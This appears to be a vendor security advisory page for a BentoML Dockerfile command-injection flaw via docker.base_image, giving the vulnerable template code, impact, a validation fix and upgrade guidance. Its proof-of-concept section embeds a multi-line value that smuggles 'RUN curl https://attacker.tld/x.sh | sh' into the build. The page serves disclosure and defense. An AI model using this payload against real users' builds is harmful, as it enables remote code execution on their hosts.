GHSA-78f9-r8mh-4xm2 — bentoml
HIGHGHSA-78f9-r8mh-4xm2 is a high-severity (CVSS 8.8) OS Command Injection vulnerability in bentoml. A fix is available for bentoml — see the affected versions and patch details below.
BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-78f9-r8mh-4xm2.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-78f9-r8mh-4xm2 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
bentomlReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.
Vulnerable code
src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):
FROM {{ __options__base_image }} AS base-container
__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):
base_image: t.Optional[str] = None
No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.
PoC
Malicious bentofile.yaml:
docker:
base_image: |
python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch
Minimal reproduction of the unsafe interpolation:
from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)
Output:
FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container
Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.
Impact
Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.
Suggested fix
Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.
The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:
__options__build_include[*]at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries fromImage.build_include(*file_paths).bento__user,bento__uid_gid,bento__path,bento__home,bento__entrypoint— currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable throughoverride_bento_env.
References
- Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.
- CWE-78: https://cwe.mitre.org/data/definitions/78.html
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | bentoml | all versions | 1.4.39pip install --upgrade 'bentoml==1.4.39' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update bentoml to 1.4.39 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-78f9-r8mh-4xm2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-78f9-r8mh-4xm2 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-78f9-r8mh-4xm2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-78f9-r8mh-4xm2 in your dependencies?
O3 Security finds GHSA-78f9-r8mh-4xm2 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.